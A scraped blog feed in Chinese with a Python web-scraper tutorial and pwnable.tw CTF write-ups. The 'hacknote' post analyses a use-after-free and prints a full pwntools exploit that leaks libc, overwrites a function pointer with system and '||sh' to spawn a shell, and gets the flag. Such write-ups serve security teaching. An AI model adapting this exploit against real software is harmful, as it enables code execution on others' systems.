class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pageDetail = r&#x27;&lt;a class=&quot;a-link-normal s-access-detail-page  a-text-normal&quot;[^&gt;]*?href=\&quot;([^&gt;]*)\&quot;[^&gt;]*?&gt;&#x27;</span><br></pre></td></tr></table></figure><p>注意到，由于正则默认为贪婪模式，所以我们可以通过在*****后面增加?来实现非贪婪模式查找。</p><p>查找到网页后，记录下当前的网站，依次访问。<br>然后根据需求，我们要获得一下内容</p><ul><li>书名 – 在url中含有</li><li>作者名 – <span class="author notFaded">标签下</span></li><li>出版时间 – <span class="a-size-medium a-color-secondary a-text-normal">标签下，这里注意，由于时间的前方存在一个&quot;-“符号，而这个符号在html中的实际存在方式为”&amp;ndash&quot;,所以我们在写正则的时候需要注意</span></li><li>售价 – <span class="a-size-medium a-color-price inlineBlock-display offer-price a-text-normal price3P">标签下</span></li><li>出版社 – <b>出版社:</b> 下方</li><li>丛书名 –  <b>丛书名:</b> 下方（不一定存在）</li><li>内容简介 – <div id="iframeContent"> 后方</div></li><li>ISBN码 – <b>ISBN:</b> 这里的&quot;“不是表示真正的”&quot;,只是没有标签的时候的表现方式<br>然后这里有个大坑！内容简介里面的东西其实是虚拟节点！也就是一个还没加载的内容。。。然而仔细看，好像这个js脚本直接写在页面里面了，而且连显示的内容也写在了里面。。。</li></ul><p>测试了一下，大致是可以完成需要的功能了~<br>然后是操作excel，虽然vba什么的没看过，但是python有excel的写入库<strong>xlwt</strong>，于是这里尝试学习一下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> xlwt</span><br><span class="line"><span class="comment"># 创建 xls 文件对象</span></span><br><span class="line">wb = xlwt.Workbook()</span><br><span class="line"><span class="comment"># 新增一个表单</span></span><br><span class="line">sh = wb.add_sheet(<span class="string">&#x27;A Test Sheet&#x27;</span>)</span><br><span class="line"><span class="comment"># 按位置添加数据</span></span><br><span class="line">sh.write(<span class="number">0</span>, <span class="number">0</span>, <span class="number">1234.56</span>)</span><br><span class="line">sh.write(<span class="number">1</span>, <span class="number">0</span>, <span class="number">8888</span>)</span><br><span class="line">sh.write(<span class="number">2</span>, <span class="number">0</span>, <span class="string">&#x27;hello&#x27;</span>)</span><br><span class="line">sh.write(<span class="number">2</span>, <span class="number">1</span>, <span class="string">&#x27;world&#x27;</span>)</span><br><span class="line"><span class="comment"># 保存文件</span></span><br><span class="line">wb.save(<span class="string">&#x27;example.xls&#x27;</span>)</span><br></pre></td></tr></table></figure><p>上网找了的demo，那么对应关系估计就是<br>|实际内容               |操作对象               |<br>|excel文件              |workbook<br>|表单                   |sheet<br>|单元格内容             |write写入<br>那么我们大致就知道要如何写了:创建一个excel，并且将数据按照指定的位置放入。</p><p>----------=========------------</p><p>出现了新的需求，需要截图网站上的图片并且存到当前的目录下。这个好像也是可以实现的。然后发现一个麻烦的事情。。。图片嘛，肯定就扯到了编码的问题，然而我好像怎么搞都搞不掂。。因为url抓到的页面大小好像不太对。。。可能是多张图片什么的，反正图片的个数错了。。。于是乎用了别的思路，<strong>直接扒了网页里面的图片</strong>，也就是base64处理后的那个。。。。虽然可能压缩了，但是应该还是没问题的。。于是就将这个取下来，然后base64处理一下应该就没问题了。</p><h4 id="4-具体应用">4、具体应用</h4><p>由于同学提到说自己也想乘机学一下，所以打算写一个依赖关系清单，让他也能快速安装。<br>装上pipreqs可以快速的生成我们的requirements.txt。然而发现一直在报错UnicodeDecodeError，想到可能是因为windows的cmd编码问题，于是使用参数强制指定编码为utf-8:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pipreqs --encoding=utf-8 --use-local ./</span><br></pre></td></tr></table></figure><p>那么如果对方需要快速的安装对应库的话，只需要在当前目录下用用</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install -r requirements.txt</span><br></pre></td></tr></table></figure><p>命令，即可快速的装上对应的依赖库。</p><p>后来想起来要有一个可视化的界面方便操作。。。好吧操起丢了好久的pyqt简单撸一个:<br>首先用qt designer做一个先。。。<br><img src="/2017/01/30/python-%E7%BD%91%E9%A1%B5%E6%8A%93%E5%8F%96/python-spider01.png" alt=""><br>然后利用pyuic5命令生成一个对应的.py文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pyuic5 -o ui_Dialog.py Dialog.ui</span><br></pre></td></tr></table></figure><p>最后用另一个程序将这个内容包括进去，使用pyqt对其进行操作。为了让程序运行的时候不发生卡顿，这里使用了QThread对其进行异步处理，并且加上了槽函数:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">SpiderCrawl</span>(<span class="title class_ inherited__">QThread</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;Lanch Spider&quot;&quot;&quot;</span></span><br><span class="line">    SignalFinishSpdier = pyqtSignal(<span class="built_in">bool</span>)</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, needs, parent=<span class="literal">None</span></span>):</span><br><span class="line">        <span class="built_in">super</span>(SpiderCrawl, self).__init__(parent)</span><br><span class="line">        self.needs = needs</span><br><span class="line">        self.SignalFinishSpdier.connect(parent.spiderFinish)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot; it will return result of the spider</span></span><br><span class="line"><span class="string">        </span></span><br><span class="line"><span class="string">        Ret: the result of spider</span></span><br><span class="line"><span class="string">        &quot;&quot;&quot;</span></span><br><span class="line">        result = amazonSpider.Spider(self.needs)</span><br><span class="line">        self.SignalFinishSpdier.emit(result)</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">SpiderDialog</span>(QDialog, ui_Dialog.Ui_Dialog):</span><br><span class="line">    ...</span><br><span class="line"><span class="meta">    @pyqtSlot(<span class="params"><span class="built_in">bool</span></span>)</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">spiderFinish</span>(<span class="params">self, result</span>):</span><br><span class="line">        <span class="string">&quot;&quot;&quot; the spider is finish&quot;&quot;&quot;</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;There!&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> result == <span class="literal">True</span>:</span><br><span class="line">            self.KeywordText.setText(<span class="string">&quot;爬虫已经完成任务&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            self.KeywordText.setText(<span class="string">&quot;你的url有问题...&quot;</span>)</span><br><span class="line"></span><br><span class="line">        self.takeButton.setEnabled(<span class="literal">True</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>最后为了防止手误输入了错误的网址。。。这里还进行了检测,如果无法在当前的网页中找到合适的url的话，也视为输入错误。<br>最后附上项目的网址:<br><a href="https://github.com/yuanLink/amazonS">amazonSpider V1.0</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这两天去朋友家玩，他说到了最近接了个活儿，需要帮人家整理网上书单，而且好像有点麻烦的样子。我一看，嘛这个需求，我用脚本写一个给你啦&lt;/p&gt;
&lt;h3 id=&quot;用-python-抓取网页书单&quot;&gt;用 python 抓取网页书单&lt;/h3&gt;</summary>
    
    
    
    <category term="Daily" scheme="https://showlinkroom.me/categories/Daily/"/>
    
    
    <category term="python" scheme="https://showlinkroom.me/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>pwnable-tw5</title>
    <link href="https://showlinkroom.me/2017/01/30/pwnable-tw5/"/>
    <id>https://showlinkroom.me/2017/01/30/pwnable-tw5/</id>
    <published>2017-01-30T09:09:27.000Z</published>
    <updated>2020-07-16T13:31:30.399Z</updated>
    
    <content type="html"><![CDATA[<p>又找到了一个简单(才怪)的题目，这里刷一刷：</p><span id="more"></span><h3 id="hacknote-200-pts">hacknote [200 pts]</h3><p>首先打开，和之前的题目类似，都是一个nemu，基本逻辑是：建立笔记，可以将笔记打印，同时也可以将笔记删除。然后发现有一些细节有点问题:<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-01.png" alt=""><br>当指定了大小的时候，我们再输入数据的时候，发现我们已经进行了输入（？）仿佛是因为输入流的原因未将上一个内容的/n读入导致。<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-02.png" alt=""><br>再多次输入数据之后，我们就发现之后的【输出流会被原先的输入流干扰】，这种现象，显然不是正常的。所以我们优先怀疑一下在建立笔记的时候出现的问题：<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-03.png" alt=""><br>从函数中可以看出来，此时存在一个结构体:note,大致是如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">note</span>&#123;</span></span><br><span class="line">    <span class="type">void</span> *<span class="title function_">print_cont</span><span class="params">(<span class="keyword">struct</span> note)</span>;</span><br><span class="line">    <span class="type">char</span>* content;(由第二个<span class="built_in">malloc</span>分配)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中，print_cont会将content的内容输出，相当于是抽象成了一个类。然而仔细看上述代码，会发现有一个奇怪的地方:全局变量:note_num表示当前有多少个笔记，然而这个笔记的上限为【5】，在计算机中其实<br>就是相当于可以输入【6】个数字，然而实际上，存在一个全局变量notes，里面存放了【5】个note的指针，而且每一个指针的空间都是由add_note中创建的，导致当存满5个数字后，也不会报错。<br>然后看delete_note函数:<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-04.png" alt=""><br>这里有一个显然有问题的地方:这里在进行delete的时候，完全没有将指针指空，所以到之后的操作的时候，此时的地址一直为一个【野指针】。据测试，就算此处变为野指针后，此处依然可以被free（这是为啥？）。<br>接下来的print与delete类似，只不过是将删除换成了调用对应位置的函数,读取变量对应位置，并且取出当前地址中的内容（正确的话就是函数）进行调用。<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-14.png" alt=""><br>所以综上，如果能够结合1，2往某个位置写入shellcode，然后再在3中进行执行的话，就能够完成攻击。那么首先要考虑如何写入我们需要的数据。然后仔细看了很多遍，看来。。果然还是要碰上堆相关的攻击了。（之前比赛的时候因为不会做堆的相关，导致了虽然找到一个printf的格式化输出漏洞却无法利用然后被人打爆了。。。）</p><p>后来在漫长的探索过程中发现了几个可能出问题的地方:</p><ul><li>当我们首先add note之后，会往print_cont中写入一个函数地址，注意此时是这个状态:<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-05.png" alt=""><br>此时如果我们将此数据delete之后，由于这里没有将指针置为空，导致此时的数据变为:<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-06.png" alt=""><br>由于堆的处理机制，fast bin中只会处理fd指针，而我们又是先将content free，所以此时<strong>会将本来的函数指针指向的当前的content的prev_size中</strong><br>有点沮丧。。如果能够指到content中的话就能够直接执行shellcode了<br>后来发现，巧妙的设计这个位置，就能够实现溢出攻击！我们先假设进行了一次add note，那么此时的空间变为<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-07.png" alt=""><br>然后此时我们将上述的chunk free，首先由于两者大小一样，会被归在同一个fast bin之中，同时由于此时先将content的内容释放，于是内容会变成:<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-08.png" alt=""><br>根据特点，此时的堆空间如图，但是注意到，此时的note[0].content和note[0].print_cont的指针位置并没有发生变化，依然是指向这两个位置。然后在我们第二次add note的时候，就会变成:<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-09.png" alt=""><br>显然此时是无法造成什么本质上的破坏的。但是！会发现此时的note[0].print_cont，就是note[1].print_cont!也就是说，如果我们<strong>能够将本来属于print_note的空间分配给content,我们就有机会修改print_note中的函数地址</strong>!<br>为了构造出上述的形态，我们需要实现:<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-10.png" alt=""><br>此时的content大小与note.print_cont大小（8byte）不一致，于是content会和print_cont分配到不同的fast bins上。然后，如果我们第三次申请了note的话，那么就会形成如下的样子。<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-11.png" alt=""><br>注意到此时的note[2].content指向了note[0].print_cont的位置上，那么此时我们就可以通过修改content内部的内容，从而将print_cont的内容给修改，让其指向我们需要的函数地址，而且我们还可以将content’s address ，从而决定我们要输出的内容修改！这里考虑到题目给出了libc，那么我们肯定是需要泄漏地址的，于是我们此时将puts的函数地址0x080484d0和其.got的地址0x0804a024写过去，从而得到此时的lib的相对位置。为了能够再次实现跳转，此时我们将note[2]都free，那么此时会变成如下的状态<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-12.png" alt=""><br>注意到此时的note[0].print_cont和note[1].print_cont的位置发生了调换，是由于note[2]中的content比print_cont先释放。然后此时我们再此add note，加入note[3]<br><img src="/2017/01/30/pwnable-tw5/pwnable-tw5-13.png" alt=""><br>由于fast bin是LIFO的原则，所以这里始终是靠下方的chunk被分配给了print_cont，所以这一次，我们通过给出计算出的system的地址(原地址为0x0003a940)和’/bin/sh’字符串的地址(源地址为00158E8B)，从而完整注入攻击！<br>后来发现这么做不行。。。仔细看反汇编如下</li></ul><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">.text:</span><span class="number">08048923</span>                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, [<span class="built_in">ebp</span>+index]</span><br><span class="line"><span class="symbol">.text:</span><span class="number">08048926</span>                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, <span class="built_in">ds</span>:notes[<span class="built_in">eax</span>*<span class="number">4</span>]</span><br><span class="line"><span class="symbol">.text:</span><span class="number">0804892D</span>                 <span class="keyword">mov</span>     <span class="built_in">eax</span>, [<span class="built_in">eax</span>]</span><br><span class="line"><span class="symbol">.text:</span>0804892F                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, [<span class="built_in">ebp</span>+index]</span><br><span class="line"><span class="symbol">.text:</span><span class="number">08048932</span>                 <span class="keyword">mov</span>     <span class="built_in">edx</span>, <span class="built_in">ds</span>:notes[<span class="built_in">edx</span>*<span class="number">4</span>]</span><br><span class="line"><span class="symbol">.text:</span><span class="number">08048939</span>                 <span class="keyword">sub</span>     <span class="built_in">esp</span>, <span class="number">0Ch</span></span><br><span class="line"><span class="symbol">.text:</span>0804893C                 <span class="keyword">push</span>    <span class="built_in">edx</span></span><br><span class="line"><span class="symbol">.text:</span><span class="number">0804893D</span>                 <span class="keyword">call</span>    <span class="built_in">eax</span></span><br><span class="line"><span class="symbol">.text:</span>0804893F                 <span class="keyword">add</span>     <span class="built_in">esp</span>, <span class="number">10h</span></span><br></pre></td></tr></table></figure><p>仔细看这一部分会发现，此时的栈中存放的居然是【note本身！】根据函数的调用我们会发现，由于【note是通过将自己作为参数传入，从而将自己+4处的conteent打印输出】，所以当我们构造好了企图用print_cont来执行我们的puts函数的时候，【我们还会将自己传入，然后打印自己】！虽然我们仍然可以利用它的函数泄漏地址，但是当我们想要利用system的时候，我们要如何才能将我们的数据压入栈中呢。。。。<br>那么估计不是在这里进行攻击了。。还得换地方。。<br>尝试修改思路，直接跳转到堆上执行函数。方法就和之前一样！只不过这一次我们再次将两者释放，此时note[0].print_cont和note[1].print_cont再次回到原来的位置上，这一次我们申请空间，只不过此时会往堆上跳转。<br>后来又失败了。。。理由不明。。。。QVQ爆炸<br>过了几天突然想起来，好像还有一种方法叫做ROP的可以尝试一下，于是赶紧收集了一下libc.so.6中的数据。<br>后来注意到不行。。毕竟人家是要覆盖返回值的，也就是至少是要能够接触到栈，我这边只有堆可以利用啊啊啊。。。</p><h2 id="更新-5-26">更新 5.26</h2><p>不可思议！！！！！！原来思路一直是正确的！唯一的问题源自于system的参数问题!!!，之前一直纠结于【如何利用system，因为system参数的位置上是一个地址】。最近见了不少大佬，发现system之下有一个奇技淫巧！！！</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">system(&quot;hsasoijiojo||/bin/sh&quot;)</span><br></pre></td></tr></table></figure><p>这样执行居然是可以行得通的！！！由于我们的字符串就存放在地址的后面，于是我们构造的字符串只要带有&quot;;sh&quot;，那么就能够执行后半部分的语句!!!(可恶啊困了我三个月的问题)<br>附上可执行代码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment"># -*- coding:utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">DEBUG = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> DEBUG:</span><br><span class="line">    r = process(<span class="string">&#x27;./hacknote&#x27;</span>)</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">    context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>, <span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line">    gdb.attach(r, <span class="string">&quot;b *0x080488C3 &quot;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    r = remote(<span class="string">&#x27;139.162.123.119&#x27;</span>, <span class="number">10102</span>)</span><br><span class="line"><span class="comment">#raw_input()</span></span><br><span class="line"><span class="comment">#libc = ELF(&#x27;/lib/i386-linux-gnu/libc.so.6&#x27;)</span></span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc_32.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line">puts_addr = <span class="number">0x080484d0</span></span><br><span class="line">puts_got = <span class="number">0x0804a024</span></span><br><span class="line">puts_real = <span class="number">0x0005F140</span></span><br><span class="line"></span><br><span class="line">print_note_content = <span class="number">0x0804862b</span></span><br><span class="line">read_got = <span class="number">0x0804a00c</span></span><br><span class="line"></span><br><span class="line">system_offset = <span class="number">0x0003a940</span></span><br><span class="line">bin_offset = <span class="number">0x00158e8b</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># payload = p32(print_note_content) + p32(read_got)</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">addNote</span>(<span class="params">size</span>):</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;choice :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;size :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(size))</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;Content :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="string">&#x27;a&#x27;</span>*size)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leakPuts</span>(<span class="params">puts_addr, puts_got</span>):</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;choice :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;size :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(<span class="number">8</span>))</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;Content :&#x27;</span>)</span><br><span class="line">    r.sendline(p32(puts_addr)+p32(puts_got))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">deleteNote</span>(<span class="params">index</span>):</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;choice :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="string">&#x27;2&#x27;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;Index :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">printNote</span>(<span class="params">index</span>):</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;choice :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="string">&#x27;3&#x27;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;Index :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="built_in">str</span>(index))</span><br><span class="line">    msg = r.recv(<span class="number">4</span>)</span><br><span class="line">    <span class="keyword">return</span> msg</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="comment"># first ,create two chunk</span></span><br><span class="line">    addNote(<span class="number">24</span>)</span><br><span class="line">    addNote(<span class="number">24</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># then ,delete this two</span></span><br><span class="line">    deleteNote(<span class="number">0</span>)</span><br><span class="line">    deleteNote(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># next, create a chunk that size like a note</span></span><br><span class="line">    leakPuts(print_note_content ,puts_got)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># leak the puts address</span></span><br><span class="line">    addr = printNote(<span class="number">0</span>)</span><br><span class="line">    puts_got_plt = u32(addr)</span><br><span class="line">    addr_libc = puts_got_plt - puts_real</span><br><span class="line">    system_addr = addr_libc + system_offset</span><br><span class="line">    bin_addr = addr_libc + bin_offset</span><br><span class="line"></span><br><span class="line">    deleteNote(<span class="number">2</span>)</span><br><span class="line">    <span class="comment"># begin attack</span></span><br><span class="line">    r.recvuntil(<span class="string">&#x27;choice :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;size :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="string">&quot;8&quot;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;Content :&#x27;</span>)</span><br><span class="line">    r.sendline(flat([system_addr , <span class="string">&quot;||sh&quot;</span>]))</span><br><span class="line"></span><br><span class="line">    r.recvuntil(<span class="string">&#x27;choice :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="string">&#x27;3&#x27;</span>)</span><br><span class="line">    r.recvuntil(<span class="string">&#x27;Index :&#x27;</span>)</span><br><span class="line">    r.sendline(<span class="string">&quot;0&quot;</span>)</span><br><span class="line"></span><br><span class="line">    r.interactive()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>最终得到</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">FLAG&#123;Us3_aft3r_fl3333_in_h4ck_not3&#125;</span><br></pre></td></tr></table></figure><p>完结撒花！！！</p><h2 id="调试的技巧">调试的技巧</h2><p>这里由于给了libc，本地测试的话可能libc是不一样的，可以通过设置环境变量将libc设置为题目所给的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">export LD_PRELOAD=&quot;/home/xxxx/libc_32.so.6&quot;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;又找到了一个简单(才怪)的题目，这里刷一刷：&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="pwnable" scheme="https://showlinkroom.me/tags/pwnable/"/>
    
  </entry>
  
  <entry>
    <title>pwnbale-tw4</title>
    <link href="https://showlinkroom.me/2017/01/29/pwnbale-tw4/"/>
    <id>https://showlinkroom.me/2017/01/29/pwnbale-tw4/</id>
    <published>2017-01-29T03:19:19.000Z</published>
    <updated>2020-07-16T13:31:30.399Z</updated>
    
    <content type="html"><![CDATA[<p>之前傻傻的按顺序来做题目导致老是碰壁，所以现在找了个简单的题目来做</p><span id="more"></span><h3 id="silver-bullet-200-pts">Silver Bullet [200 pts]</h3><p>这一题提供了lib.so.6,估计就是可以使用ret2lib之类的方法来完成的了。<br>学习前辈们的做法，先将当前程序运行一下先:<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-01.png" alt=""><br>就是一个击杀琴酒的故事（误？）首先通过create bullet，再power up bullet，最后beat wolf，游戏逻辑大概是这样。然后发现这里会要求我们输入对子弹的描述：<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-02.png" alt=""><br>这里推测这个s其实是一个结构体，因为这个s里面好像会存不同的内容，注意由于此处的s之前为DWORD，所以这里*(s+12)其实是相当于s当前偏移48个字节。那么可以还原当前的结构体为</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">bullet</span>&#123;</span></span><br><span class="line">    <span class="type">char</span> des[<span class="number">48</span>];</span><br><span class="line">    <span class="type">int</span> length;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那么就在IDA中将这个结构体还原一下：</p><h4 id="ida中的结构体还原">IDA中的结构体还原</h4><h5 id="1-添加结构体">1.添加结构体</h5><p>打开structure窗口，里面写有可以进行的操作<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-03.png" alt=""><br>在edit中选中add struct type或者直接快捷键insert<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-04.png" alt=""><br>接下来把光标对准sizeof那块，按下D可以插入byte，word或者double word。<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-05.png" alt=""><br>如果是数组的话，先使用右键expend type 对数据进行扩充（扩充在当前位置的上方），然后选中array将填充的额数据变为array<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-06.png" alt=""><br>最后，为了将我们的结构体和指定的内容关联起来，我们找到我们需要处理的变量，并且回车进入到当前栈空间，点击变量，然后选中Edit-&gt;Struct var即可将其关联。<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-07.png" alt=""></p><p>完成了这个关联后我们继续看我们的程序。输入字符串input_read函数会将字符串末尾的’\n’变为’\0’（人如果字符串不是太长的话），然后对字符串的长度使用strlen函数（一个超级容易出问题的函数啊。。。。）这里假如我们输入的字符串中包含’\0’,那么此时测得的strlen将会出现误差。<br>然后是可能会有问题的power_up函数：<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-08.png" alt=""><br>大致的意思就是；限制字符串总长为48，在原先的des后面连接上新的des，同时增长length。<br>接下来看beat函数：<br><img src="/2017/01/29/pwnbale-tw4/pwnbale-4-09.png" 